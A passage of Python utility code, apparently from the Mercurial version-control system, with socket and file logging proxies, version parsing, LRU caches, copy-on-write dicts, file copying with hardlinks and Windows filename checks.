     __slots__ = (
         '_orig',
         '_observer',
     )
 
     def __init__(self, sock, observer):
         object.__setattr__(self, '_orig', sock)
         object.__setattr__(self, '_observer', observer)
 
     def __getattribute__(self, name):
         if name in PROXIED_SOCKET_METHODS:
             return object.__getattribute__(self, name)
 
         return getattr(object.__getattribute__(self, '_orig'), name)
 
     def __delattr__(self, name):
         return delattr(object.__getattribute__(self, '_orig'), name)
 
     def __setattr__(self, name, value):
         return setattr(object.__getattribute__(self, '_orig'), name, value)
 
     def __nonzero__(self):
         return bool(object.__getattribute__(self, '_orig'))
 
     __bool__ = __nonzero__
 
     def _observedcall(self, name, *args, **kwargs):
         # Call the original object.
         orig = object.__getattribute__(self, '_orig')
         res = getattr(orig, name)(*args, **kwargs)
 
         # Call a method on the observer of the same name with arguments
         # so it can react, log, etc.
         observer = object.__getattribute__(self, '_observer')
         fn = getattr(observer, name, None)
         if fn:
             fn(res, *args, **kwargs)
 
         return res
 
     def makefile(self, *args, **kwargs):
         res = object.__getattribute__(self, '_observedcall')(
             'makefile', *args, **kwargs
         )
 
         # The file object may be used for I/O. So we turn it into a
         # proxy using our observer.
         observer = object.__getattribute__(self, '_observer')
         return makeloggingfileobject(
             observer.fh,
             res,
             observer.name,
             reads=observer.reads,
             writes=observer.writes,
             logdata=observer.logdata,
             logdataapis=observer.logdataapis,
         )
 
     def recv(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'recv', *args, **kwargs
         )
 
     def recvfrom(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'recvfrom', *args, **kwargs
         )
 
     def recvfrom_into(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'recvfrom_into', *args, **kwargs
         )
 
     def recv_into(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'recv_info', *args, **kwargs
         )
 
     def send(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'send', *args, **kwargs
         )
 
     def sendall(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'sendall', *args, **kwargs
         )
 
     def sendto(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'sendto', *args, **kwargs
         )
 
     def setblocking(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'setblocking', *args, **kwargs
         )
 
     def settimeout(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'settimeout', *args, **kwargs
         )
 
     def gettimeout(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'gettimeout', *args, **kwargs
         )
 
     def setsockopt(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'setsockopt', *args, **kwargs
         )
 
 
 class baseproxyobserver(object):
     def __init__(self, fh, name, logdata, logdataapis):
         self.fh = fh
         self.name = name
         self.logdata = logdata
         self.logdataapis = logdataapis
 
     def _writedata(self, data):
         if not self.logdata:
             if self.logdataapis:
                 self.fh.write(b'\n')
                 self.fh.flush()
             return
 
         # Simple case writes all data on a single line.
         if b'\n' not in data:
             if self.logdataapis:
                 self.fh.write(b': %s\n' % stringutil.escapestr(data))
             else:
                 self.fh.write(
                     b'%s>     %s\n' % (self.name, stringutil.escapestr(data))
                 )
             self.fh.flush()
             return
 
         # Data with newlines is written to multiple lines.
         if self.logdataapis:
             self.fh.write(b':\n')
 
         lines = data.splitlines(True)
         for line in lines:
             self.fh.write(
                 b'%s>     %s\n' % (self.name, stringutil.escapestr(line))
             )
         self.fh.flush()
 
 
 class fileobjectobserver(baseproxyobserver):
     """Logs file object activity."""
 
     def __init__(
         self, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
     ):
         super(fileobjectobserver, self).__init__(fh, name, logdata, logdataapis)
         self.reads = reads
         self.writes = writes
 
     def read(self, res, size=-1):
         if not self.reads:
             return
         # Python 3 can return None from reads at EOF instead of empty strings.
         if res is None:
             res = b''
 
         if size == -1 and res == b'':
             # Suppress pointless read(-1) calls that return
             # nothing. These happen _a lot_ on Python 3, and there
             # doesn't seem to be a better workaround to have matching
             # Python 2 and 3 behavior. :(
             return
 
         if self.logdataapis:
             self.fh.write(b'%s> read(%d) -> %d' % (self.name, size, len(res)))
 
         self._writedata(res)
 
     def readline(self, res, limit=-1):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write(b'%s> readline() -> %d' % (self.name, len(res)))
 
         self._writedata(res)
 
     def readinto(self, res, dest):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write(
                 b'%s> readinto(%d) -> %r' % (self.name, len(dest), res)
             )
 
         data = dest[0:res] if res is not None else b''
 
         # _writedata() uses "in" operator and is confused by memoryview because
         # characters are ints on Python 3.
         if isinstance(data, memoryview):
             data = data.tobytes()
 
         self._writedata(data)
 
     def write(self, res, data):
         if not self.writes:
             return
 
         # Python 2 returns None from some write() calls. Python 3 (reasonably)
         # returns the integer bytes written.
         if res is None and data:
             res = len(data)
 
         if self.logdataapis:
             self.fh.write(b'%s> write(%d) -> %r' % (self.name, len(data), res))
 
         self._writedata(data)
 
     def flush(self, res):
         if not self.writes:
             return
 
         self.fh.write(b'%s> flush() -> %r\n' % (self.name, res))
 
     # For observedbufferedinputpipe.
     def bufferedread(self, res, size):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write(
                 b'%s> bufferedread(%d) -> %d' % (self.name, size, len(res))
             )
 
         self._writedata(res)
 
     def bufferedreadline(self, res):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write(
                 b'%s> bufferedreadline() -> %d' % (self.name, len(res))
             )
 
         self._writedata(res)
 
 
 def makeloggingfileobject(
     logh, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
 ):
     """Turn a file object into a logging file object."""
 
     observer = fileobjectobserver(
         logh,
         name,
         reads=reads,
         writes=writes,
         logdata=logdata,
         logdataapis=logdataapis,
     )
     return fileobjectproxy(fh, observer)
 
 
 class socketobserver(baseproxyobserver):
     """Logs socket activity."""
 
     def __init__(
         self,
         fh,
         name,
         reads=True,
         writes=True,
         states=True,
         logdata=False,
         logdataapis=True,
     ):
         super(socketobserver, self).__init__(fh, name, logdata, logdataapis)
         self.reads = reads
         self.writes = writes
         self.states = states
 
     def makefile(self, res, mode=None, bufsize=None):
         if not self.states:
             return
 
         self.fh.write(b'%s> makefile(%r, %r)\n' % (self.name, mode, bufsize))
 
     def recv(self, res, size, flags=0):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write(
                 b'%s> recv(%d, %d) -> %d' % (self.name, size, flags, len(res))
             )
         self._writedata(res)
 
     def recvfrom(self, res, size, flags=0):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write(
                 b'%s> recvfrom(%d, %d) -> %d'
                 % (self.name, size, flags, len(res[0]))
             )
 
         self._writedata(res[0])
 
     def recvfrom_into(self, res, buf, size, flags=0):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write(
                 b'%s> recvfrom_into(%d, %d) -> %d'
                 % (self.name, size, flags, res[0])
             )
 
         self._writedata(buf[0 : res[0]])
 
     def recv_into(self, res, buf, size=0, flags=0):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write(
                 b'%s> recv_into(%d, %d) -> %d' % (self.name, size, flags, res)
             )
 
         self._writedata(buf[0:res])
 
     def send(self, res, data, flags=0):
         if not self.writes:
             return
 
         self.fh.write(
             b'%s> send(%d, %d) -> %d' % (self.name, len(data), flags, len(res))
         )
         self._writedata(data)
 
     def sendall(self, res, data, flags=0):
         if not self.writes:
             return
 
         if self.logdataapis:
             # Returns None on success. So don't bother reporting return value.
             self.fh.write(
                 b'%s> sendall(%d, %d)' % (self.name, len(data), flags)
             )
 
         self._writedata(data)
 
     def sendto(self, res, data, flagsoraddress, address=None):
         if not self.writes:
             return
 
         if address:
             flags = flagsoraddress
         else:
             flags = 0
 
         if self.logdataapis:
             self.fh.write(
                 b'%s> sendto(%d, %d, %r) -> %d'
                 % (self.name, len(data), flags, address, res)
             )
 
         self._writedata(data)
 
     def setblocking(self, res, flag):
         if not self.states:
             return
 
         self.fh.write(b'%s> setblocking(%r)\n' % (self.name, flag))
 
     def settimeout(self, res, value):
         if not self.states:
             return
 
         self.fh.write(b'%s> settimeout(%r)\n' % (self.name, value))
 
     def gettimeout(self, res):
         if not self.states:
             return
 
         self.fh.write(b'%s> gettimeout() -> %f\n' % (self.name, res))
 
     def setsockopt(self, res, level, optname, value):
         if not self.states:
             return
 
         self.fh.write(
             b'%s> setsockopt(%r, %r, %r) -> %r\n'
             % (self.name, level, optname, value, res)
         )
 
 
 def makeloggingsocket(
     logh,
     fh,
     name,
     reads=True,
     writes=True,
     states=True,
     logdata=False,
     logdataapis=True,
 ):
     """Turn a socket into a logging socket."""
 
     observer = socketobserver(
         logh,
         name,
         reads=reads,
         writes=writes,
         states=states,
         logdata=logdata,
         logdataapis=logdataapis,
     )
     return socketproxy(fh, observer)
 
 
 def version():
     """Return version information if available."""
     try:
         from . import __version__
 
         return __version__.version
     except ImportError:
         return b'unknown'
 
 
 def versiontuple(v=None, n=4):
     """Parses a Mercurial version string into an N-tuple.
 
     The version string to be parsed is specified with the ``v`` argument.
     If it isn't defined, the current Mercurial version string will be parsed.
 
     ``n`` can be 2, 3, or 4. Here is how some version strings map to
     returned values:
 
     >>> v = b'3.6.1+190-df9b73d2d444'
     >>> versiontuple(v, 2)
     (3, 6)
     >>> versiontuple(v, 3)
     (3, 6, 1)
     >>> versiontuple(v, 4)
     (3, 6, 1, '190-df9b73d2d444')
 
     >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
     (3, 6, 1, '190-df9b73d2d444+20151118')
 
     >>> v = b'3.6'
     >>> versiontuple(v, 2)
     (3, 6)
     >>> versiontuple(v, 3)
     (3, 6, None)
     >>> versiontuple(v, 4)
     (3, 6, None, None)
 
     >>> v = b'3.9-rc'
     >>> versiontuple(v, 2)
     (3, 9)
     >>> versiontuple(v, 3)
     (3, 9, None)
     >>> versiontuple(v, 4)
     (3, 9, None, 'rc')
 
     >>> v = b'3.9-rc+2-02a8fea4289b'
     >>> versiontuple(v, 2)
     (3, 9)
     >>> versiontuple(v, 3)
     (3, 9, None)
     >>> versiontuple(v, 4)
     (3, 9, None, 'rc+2-02a8fea4289b')
 
     >>> versiontuple(b'4.6rc0')
     (4, 6, None, 'rc0')
     >>> versiontuple(b'4.6rc0+12-425d55e54f98')
     (4, 6, None, 'rc0+12-425d55e54f98')
     >>> versiontuple(b'.1.2.3')
     (None, None, None, '.1.2.3')
     >>> versiontuple(b'12.34..5')
     (12, 34, None, '..5')
     >>> versiontuple(b'1.2.3.4.5.6')
     (1, 2, 3, '.4.5.6')
     """
     if not v:
         v = version()
     m = remod.match(br'(\d+(?:\.\d+){,2})[+-]?(.*)', v)
     if not m:
         vparts, extra = b'', v
     elif m.group(2):
         vparts, extra = m.groups()
     else:
         vparts, extra = m.group(1), None
 
     assert vparts is not None  # help pytype
 
     vints = []
     for i in vparts.split(b'.'):
         try:
             vints.append(int(i))
         except ValueError:
             break
     # (3, 6) -> (3, 6, None)
     while len(vints) < 3:
         vints.append(None)
 
     if n == 2:
         return (vints[0], vints[1])
     if n == 3:
         return (vints[0], vints[1], vints[2])
     if n == 4:
         return (vints[0], vints[1], vints[2], extra)
 
 
 def cachefunc(func):
     '''cache the result of function calls'''
     # XXX doesn't handle keywords args
     if func.__code__.co_argcount == 0:
         listcache = []
 
         def f():
             if len(listcache) == 0:
                 listcache.append(func())
             return listcache[0]
 
         return f
     cache = {}
     if func.__code__.co_argcount == 1:
         # we gain a small amount of time because
         # we don't need to pack/unpack the list
         def f(arg):
             if arg not in cache:
                 cache[arg] = func(arg)
             return cache[arg]
 
     else:
 
         def f(*args):
             if args not in cache:
                 cache[args] = func(*args)
             return cache[args]
 
     return f
 
 
 class cow(object):
     """helper class to make copy-on-write easier
 
     Call preparewrite before doing any writes.
     """
 
     def preparewrite(self):
         """call this before writes, return self or a copied new object"""
         if getattr(self, '_copied', 0):
             self._copied -= 1
             return self.__class__(self)
         return self
 
     def copy(self):
         """always do a cheap copy"""
         self._copied = getattr(self, '_copied', 0) + 1
         return self
 
 
 class sortdict(collections.OrderedDict):
     '''a simple sorted dictionary
 
     >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
     >>> d2 = d1.copy()
     >>> d2
     sortdict([('a', 0), ('b', 1)])
     >>> d2.update([(b'a', 2)])
     >>> list(d2.keys()) # should still be in last-set order
     ['b', 'a']
     >>> d1.insert(1, b'a.5', 0.5)
     >>> d1
     sortdict([('a', 0), ('a.5', 0.5), ('b', 1)])
     '''
 
     def __setitem__(self, key, value):
         if key in self:
             del self[key]
         super(sortdict, self).__setitem__(key, value)
 
     if pycompat.ispypy:
         # __setitem__() isn't called as of PyPy 5.8.0
         def update(self, src):
             if isinstance(src, dict):
                 src = pycompat.iteritems(src)
             for k, v in src:
                 self[k] = v
 
     def insert(self, position, key, value):
         for (i, (k, v)) in enumerate(list(self.items())):
             if i == position:
                 self[key] = value
             if i >= position:
                 del self[k]
                 self[k] = v
 
 
 class cowdict(cow, dict):
     """copy-on-write dict
 
     Be sure to call d = d.preparewrite() before writing to d.
 
     >>> a = cowdict()
     >>> a is a.preparewrite()
     True
     >>> b = a.copy()
     >>> b is a
     True
     >>> c = b.copy()
     >>> c is a
     True
     >>> a = a.preparewrite()
     >>> b is a
     False
     >>> a is a.preparewrite()
     True
     >>> c = c.preparewrite()
     >>> b is c
     False
     >>> b is b.preparewrite()
     True
     """
 
 
 class cowsortdict(cow, sortdict):
     """copy-on-write sortdict
 
     Be sure to call d = d.preparewrite() before writing to d.
     """
 
 
 class transactional(object):  # pytype: disable=ignored-metaclass
     """Base class for making a transactional type into a context manager."""
 
     __metaclass__ = abc.ABCMeta
 
     @abc.abstractmethod
     def close(self):
         """Successfully closes the transaction."""
 
     @abc.abstractmethod
     def release(self):
         """Marks the end of the transaction.
 
         If the transaction has not been closed, it will be aborted.
         """
 
     def __enter__(self):
         return self
 
     def __exit__(self, exc_type, exc_val, exc_tb):
         try:
             if exc_type is None:
                 self.close()
         finally:
             self.release()
 
 
 @contextlib.contextmanager
 def acceptintervention(tr=None):
     """A context manager that closes the transaction on InterventionRequired
 
     If no transaction was provided, this simply runs the body and returns
     """
     if not tr:
         yield
         return
     try:
         yield
         tr.close()
     except error.InterventionRequired:
         tr.close()
         raise
     finally:
         tr.release()
 
 
 @contextlib.contextmanager
 def nullcontextmanager():
     yield
 
 
 class _lrucachenode(object):
     """A node in a doubly linked list.
 
     Holds a reference to nodes on either side as well as a key-value
     pair for the dictionary entry.
     """
 
     __slots__ = ('next', 'prev', 'key', 'value', 'cost')
 
     def __init__(self):
         self.next = None
         self.prev = None
 
         self.key = _notset
         self.value = None
         self.cost = 0
 
     def markempty(self):
         """Mark the node as emptied."""
         self.key = _notset
         self.value = None
         self.cost = 0
 
 
 class lrucachedict(object):
     """Dict that caches most recent accesses and sets.
 
     The dict consists of an actual backing dict - indexed by original
     key - and a doubly linked circular list defining the order of entries in
     the cache.
 
     The head node is the newest entry in the cache. If the cache is full,
     we recycle head.prev and make it the new head. Cache accesses result in
     the node being moved to before the existing head and being marked as the
     new head node.
 
     Items in the cache can be inserted with an optional "cost" value. This is
     simply an integer that is specified by the caller. The cache can be queried
     for the total cost of all items presently in the cache.
 
     The cache can also define a maximum cost. If a cache insertion would
     cause the total cost of the cache to go beyond the maximum cost limit,
     nodes will be evicted to make room for the new code. This can be used
     to e.g. set a max memory limit and associate an estimated bytes size
     cost to each item in the cache. By default, no maximum cost is enforced.
     """
 
     def __init__(self, max, maxcost=0):
         self._cache = {}
 
         self._head = head = _lrucachenode()
         head.prev = head
         head.next = head
         self._size = 1
         self.capacity = max
         self.totalcost = 0
         self.maxcost = maxcost
 
     def __len__(self):
         return len(self._cache)
 
     def __contains__(self, k):
         return k in self._cache
 
     def __iter__(self):
         # We don't have to iterate in cache order, but why not.
         n = self._head
         for i in range(len(self._cache)):
             yield n.key
             n = n.next
 
     def __getitem__(self, k):
         node = self._cache[k]
         self._movetohead(node)
         return node.value
 
     def insert(self, k, v, cost=0):
         """Insert a new item in the cache with optional cost value."""
         node = self._cache.get(k)
         # Replace existing value and mark as newest.
         if node is not None:
             self.totalcost -= node.cost
             node.value = v
             node.cost = cost
             self.totalcost += cost
             self._movetohead(node)
 
             if self.maxcost:
                 self._enforcecostlimit()
 
             return
 
         if self._size < self.capacity:
             node = self._addcapacity()
         else:
             # Grab the last/oldest item.
             node = self._head.prev
 
         # At capacity. Kill the old entry.
         if node.key is not _notset:
             self.totalcost -= node.cost
             del self._cache[node.key]
 
         node.key = k
         node.value = v
         node.cost = cost
         self.totalcost += cost
         self._cache[k] = node
         # And mark it as newest entry. No need to adjust order since it
         # is already self._head.prev.
         self._head = node
 
         if self.maxcost:
             self._enforcecostlimit()
 
     def __setitem__(self, k, v):
         self.insert(k, v)
 
     def __delitem__(self, k):
         self.pop(k)
 
     def pop(self, k, default=_notset):
         try:
             node = self._cache.pop(k)
         except KeyError:
             if default is _notset:
                 raise
             return default
 
         assert node is not None  # help pytype
         value = node.value
         self.totalcost -= node.cost
         node.markempty()
 
         # Temporarily mark as newest item before re-adjusting head to make
         # this node the oldest item.
         self._movetohead(node)
         self._head = node.next
 
         return value
 
     # Additional dict methods.
 
     def get(self, k, default=None):
         try:
             return self.__getitem__(k)
         except KeyError:
             return default
 
     def peek(self, k, default=_notset):
         """Get the specified item without moving it to the head
 
         Unlike get(), this doesn't mutate the internal state. But be aware
         that it doesn't mean peek() is thread safe.
         """
         try:
             node = self._cache[k]
             return node.value
         except KeyError:
             if default is _notset:
                 raise
             return default
 
     def clear(self):
         n = self._head
         while n.key is not _notset:
             self.totalcost -= n.cost
             n.markempty()
             n = n.next
 
         self._cache.clear()
 
     def copy(self, capacity=None, maxcost=0):
         """Create a new cache as a copy of the current one.
 
         By default, the new cache has the same capacity as the existing one.
         But, the cache capacity can be changed as part of performing the
         copy.
 
         Items in the copy have an insertion/access order matching this
         instance.
         """
 
         capacity = capacity or self.capacity
         maxcost = maxcost or self.maxcost
         result = lrucachedict(capacity, maxcost=maxcost)
 
         # We copy entries by iterating in oldest-to-newest order so the copy
         # has the correct ordering.
 
         # Find the first non-empty entry.
         n = self._head.prev
         while n.key is _notset and n is not self._head:
             n = n.prev
 
         # We could potentially skip the first N items when decreasing capacity.
         # But let's keep it simple unless it is a performance problem.
         for i in range(len(self._cache)):
             result.insert(n.key, n.value, cost=n.cost)
             n = n.prev
 
         return result
 
     def popoldest(self):
         """Remove the oldest item from the cache.
 
         Returns the (key, value) describing the removed cache entry.
         """
         if not self._cache:
             return
 
         # Walk the linked list backwards starting at tail node until we hit
         # a non-empty node.
         n = self._head.prev
         while n.key is _notset:
             n = n.prev
 
         assert n is not None  # help pytype
 
         key, value = n.key, n.value
 
         # And remove it from the cache and mark it as empty.
         del self._cache[n.key]
         self.totalcost -= n.cost
         n.markempty()
 
         return key, value
 
     def _movetohead(self, node):
         """Mark a node as the newest, making it the new head.
 
         When a node is accessed, it becomes the freshest entry in the LRU
         list, which is denoted by self._head.
 
         Visually, let's make ``N`` the new head node (* denotes head):
 
             previous/oldest <-> head <-> next/next newest
 
             ----<->--- A* ---<->-----
             |                       |
             E <-> D <-> N <-> C <-> B
 
         To:
 
             ----<->--- N* ---<->-----
             |                       |
             E <-> D <-> C <-> B <-> A
 
         This requires the following moves:
 
            C.next = D  (node.prev.next = node.next)
            D.prev = C  (node.next.prev = node.prev)
            E.next = N  (head.prev.next = node)
            N.prev = E  (node.prev = head.prev)
            N.next = A  (node.next = head)
            A.prev = N  (head.prev = node)
         """
         head = self._head
         # C.next = D
         node.prev.next = node.next
         # D.prev = C
         node.next.prev = node.prev
         # N.prev = E
         node.prev = head.prev
         # N.next = A
         # It is tempting to do just "head" here, however if node is
         # adjacent to head, this will do bad things.
         node.next = head.prev.next
         # E.next = N
         node.next.prev = node
         # A.prev = N
         node.prev.next = node
 
         self._head = node
 
     def _addcapacity(self):
         """Add a node to the circular linked list.
 
         The new node is inserted before the head node.
         """
         head = self._head
         node = _lrucachenode()
         head.prev.next = node
         node.prev = head.prev
         node.next = head
         head.prev = node
         self._size += 1
         return node
 
     def _enforcecostlimit(self):
         # This should run after an insertion. It should only be called if total
         # cost limits are being enforced.
         # The most recently inserted node is never evicted.
         if len(self) <= 1 or self.totalcost <= self.maxcost:
             return
 
         # This is logically equivalent to calling popoldest() until we
         # free up enough cost. We don't do that since popoldest() needs
         # to walk the linked list and doing this in a loop would be
         # quadratic. So we find the first non-empty node and then
         # walk nodes until we free up enough capacity.
         #
         # If we only removed the minimum number of nodes to free enough
         # cost at insert time, chances are high that the next insert would
         # also require pruning. This would effectively constitute quadratic
         # behavior for insert-heavy workloads. To mitigate this, we set a
         # target cost that is a percentage of the max cost. This will tend
         # to free more nodes when the high water mark is reached, which
         # lowers the chances of needing to prune on the subsequent insert.
         targetcost = int(self.maxcost * 0.75)
 
         n = self._head.prev
         while n.key is _notset:
             n = n.prev
 
         while len(self) > 1 and self.totalcost > targetcost:
             del self._cache[n.key]
             self.totalcost -= n.cost
             n.markempty()
             n = n.prev
 
 
 def lrucachefunc(func):
     '''cache most recent results of function calls'''
     cache = {}
     order = collections.deque()
     if func.__code__.co_argcount == 1:
 
         def f(arg):
             if arg not in cache:
                 if len(cache) > 20:
                     del cache[order.popleft()]
                 cache[arg] = func(arg)
             else:
                 order.remove(arg)
             order.append(arg)
             return cache[arg]
 
     else:
 
         def f(*args):
             if args not in cache:
                 if len(cache) > 20:
                     del cache[order.popleft()]
                 cache[args] = func(*args)
             else:
                 order.remove(args)
             order.append(args)
             return cache[args]
 
     return f
 
 
 class propertycache(object):
     def __init__(self, func):
         self.func = func
         self.name = func.__name__
 
     def __get__(self, obj, type=None):
         result = self.func(obj)
         self.cachevalue(obj, result)
         return result
 
     def cachevalue(self, obj, value):
         # __dict__ assignment required to bypass __setattr__ (eg: repoview)
         obj.__dict__[self.name] = value
 
 
 def clearcachedproperty(obj, prop):
     '''clear a cached property value, if one has been set'''
     prop = pycompat.sysstr(prop)
     if prop in obj.__dict__:
         del obj.__dict__[prop]
 
 
 def increasingchunks(source, min=1024, max=65536):
     '''return no less than min bytes per chunk while data remains,
     doubling min after each chunk until it reaches max'''
 
     def log2(x):
         if not x:
             return 0
         i = 0
         while x:
             x >>= 1
             i += 1
         return i - 1
 
     buf = []
     blen = 0
     for chunk in source:
         buf.append(chunk)
         blen += len(chunk)
         if blen >= min:
             if min < max:
                 min = min << 1
                 nmin = 1 << log2(blen)
                 if nmin > min:
                     min = nmin
                 if min > max:
                     min = max
             yield b''.join(buf)
             blen = 0
             buf = []
     if buf:
         yield b''.join(buf)
 
 
 def always(fn):
     return True
 
 
 def never(fn):
     return False
 
 
 def nogc(func):
     """disable garbage collector
 
     Python's garbage collector triggers a GC each time a certain number of
     container objects (the number being defined by gc.get_threshold()) are
     allocated even when marked not to be tracked by the collector. Tracking has
     no effect on when GCs are triggered, only on what objects the GC looks
     into. As a workaround, disable GC while building complex (huge)
     containers.
 
     This garbage collector issue have been fixed in 2.7. But it still affect
     CPython's performance.
     """
 
     def wrapper(*args, **kwargs):
         gcenabled = gc.isenabled()
         gc.disable()
         try:
             return func(*args, **kwargs)
         finally:
             if gcenabled:
                 gc.enable()
 
     return wrapper
 
 
 if pycompat.ispypy:
     # PyPy runs slower with gc disabled
     nogc = lambda x: x
 
 
 def pathto(root, n1, n2):
     '''return the relative path from one place to another.
     root should use os.sep to separate directories
     n1 should use os.sep to separate directories
     n2 should use "/" to separate directories
     returns an os.sep-separated path.
 
     If n1 is a relative path, it's assumed it's
     relative to root.
     n2 should always be relative to root.
     '''
     if not n1:
         return localpath(n2)
     if os.path.isabs(n1):
         if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
             return os.path.join(root, localpath(n2))
         n2 = b'/'.join((pconvert(root), n2))
     a, b = splitpath(n1), n2.split(b'/')
     a.reverse()
     b.reverse()
     while a and b and a[-1] == b[-1]:
         a.pop()
         b.pop()
     b.reverse()
     return pycompat.ossep.join(([b'..'] * len(a)) + b) or b'.'
 
 
 def checksignature(func, depth=1):
     '''wrap a function with code to check for calling errors'''
 
     def check(*args, **kwargs):
         try:
             return func(*args, **kwargs)
         except TypeError:
             if len(traceback.extract_tb(sys.exc_info()[2])) == depth:
                 raise error.SignatureError
             raise
 
     return check
 
 
 # a whilelist of known filesystems where hardlink works reliably
 _hardlinkfswhitelist = {
     b'apfs',
     b'btrfs',
     b'ext2',
     b'ext3',
     b'ext4',
     b'hfs',
     b'jfs',
     b'NTFS',
     b'reiserfs',
     b'tmpfs',
     b'ufs',
     b'xfs',
     b'zfs',
 }
 
 
 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
     '''copy a file, preserving mode and optionally other stat info like
     atime/mtime
 
     checkambig argument is used with filestat, and is useful only if
     destination file is guarded by any lock (e.g. repo.lock or
     repo.wlock).
 
     copystat and checkambig should be exclusive.
     '''
     assert not (copystat and checkambig)
     oldstat = None
     if os.path.lexists(dest):
         if checkambig:
             oldstat = checkambig and filestat.frompath(dest)
         unlink(dest)
     if hardlink:
         # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
         # unless we are confident that dest is on a whitelisted filesystem.
         try:
             fstype = getfstype(os.path.dirname(dest))
         except OSError:
             fstype = None
         if fstype not in _hardlinkfswhitelist:
             hardlink = False
     if hardlink:
         try:
             oslink(src, dest)
             return
         except (IOError, OSError):
             pass  # fall back to normal copy
     if os.path.islink(src):
         os.symlink(os.readlink(src), dest)
         # copytime is ignored for symlinks, but in general copytime isn't needed
         # for them anyway
     else:
         try:
             shutil.copyfile(src, dest)
             if copystat:
                 # copystat also copies mode
                 shutil.copystat(src, dest)
             else:
                 shutil.copymode(src, dest)
                 if oldstat and oldstat.stat:
                     newstat = filestat.frompath(dest)
                     if newstat.isambig(oldstat):
                         # stat of copied file is ambiguous to original one
                         advanced = (
                             oldstat.stat[stat.ST_MTIME] + 1
                         ) & 0x7FFFFFFF
                         os.utime(dest, (advanced, advanced))
         except shutil.Error as inst:
             raise error.Abort(stringutil.forcebytestr(inst))
 
 
 def copyfiles(src, dst, hardlink=None, progress=None):
     """Copy a directory tree using hardlinks if possible."""
     num = 0
 
     def settopic():
         if progress:
             progress.topic = _(b'linking') if hardlink else _(b'copying')
 
     if os.path.isdir(src):
         if hardlink is None:
             hardlink = (
                 os.stat(src).st_dev == os.stat(os.path.dirname(dst)).st_dev
             )
         settopic()
         os.mkdir(dst)
         for name, kind in listdir(src):
             srcname = os.path.join(src, name)
             dstname = os.path.join(dst, name)
             hardlink, n = copyfiles(srcname, dstname, hardlink, progress)
             num += n
     else:
         if hardlink is None:
             hardlink = (
                 os.stat(os.path.dirname(src)).st_dev
                 == os.stat(os.path.dirname(dst)).st_dev
             )
         settopic()
 
         if hardlink:
             try:
                 oslink(src, dst)
             except (IOError, OSError):
                 hardlink = False
                 shutil.copy(src, dst)
         else:
             shutil.copy(src, dst)
         num += 1
         if progress:
             progress.increment()
 
     return hardlink, num
 
 
 _winreservednames = {
     b'con',
     b'prn',
     b'aux',
     b'nul',
     b'com1',
     b'com2',
     b'com3',
     b'com4',
     b'com5',
     b'com6',
     b'com7',
     b'com8',
     b'com9',
     b'lpt1',
     b'lpt2',
     b'lpt3',
     b'lpt4',
     b'lpt5',
     b'lpt6',
     b'lpt7',
     b'lpt8',
     b'lpt9',
 }
 _winreservedchars = b':*?"<>|'
 
 
 def checkwinfilename(path):
     r'''Check that the base-relative path is a valid filename on Windows.
     Returns None if the path is ok, or a UI string describing the problem.
 
     >>> checkwinfilename(b"just/a/normal/path")
     >>> checkwinfilename(b"foo/bar/con.xml")
     "filename contains 'con', which is reserved on Windows"
     >>> checkwinfilename(b"foo/con.xml/bar")
     "filename contains 'con', which is reserved on Windows"
     >>> checkwinfilename(b"foo/bar/xml.con")
     >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
     "filename contains 'AUX', which is reserved on Windows"
     >>> checkwinfilename(b"foo/bar/bla:.txt")
     "filename contains ':', which is reserved on Windows"
     >>> checkwinfilename(b"foo/bar/b\07la.txt")
     "filename contains '\\x07', which is invalid on Windows"
     >>> checkwinfilename(b"foo/bar/bla ")
     "filename ends with ' ', which is not allowed on Windows"
     >>> checkwinfilename(b"../bar")
     >>> checkwinfilename(b"foo\\")
     "filename ends with '\\', which is invalid on Windows"
     >>> checkwinfilename(b"foo\\/bar")
     "directory name ends with '\\', which is invalid on Windows"
     '''
     if path.endswith(b'\\'):
         return _(b"filename ends with '\\', which is invalid on Windows")
     if b'\\/' in path:
         return _(b"directory name ends with '\\', which is invalid on Windows")
     for n in path.replace(b'\\', b'/').split(b'/'):
         if not n:
             continue
         for c in _filenamebytestr(n):
             if c in _winreservedchars:
                 return (
                     _(
                         b"filename contains '%s', which is reserved "
                         b"on Windows"
                     )
                     % c
                 )
             if ord(c) <= 31:
                 return _(
                     b"filename contains '%s', which is invalid on Windows"
                 ) % stringutil.escapestr(c)
         base = n.split(b'.')[0]
         if base and base.lower() in _winreservednames:
             return (
                 _(b"filename contains '%s', which is reserved on Windows")
                 % base
             )
         t = n[-1:]
         if t in b'. ' and n not in b'..':
             return (
                 _(
                     b"filename ends with '%s', which is not allowed "
                     b"on Windows"
                 )
                 % t
             )
 
 
 timer = getattr(time, "perf_counter", None)
 
 if pycompat.iswindows:
     checkosfilename = checkwinfilename
     if not timer:
         timer = time.clock
 else:
     # mercurial.windows doesn't have platform.checkosfilename
     checkosfilename = platform.checkosfilename  # pytype: disable=module-attr
     if not timer:
         timer = time.time
 
 
 def makelock(info, pathname):
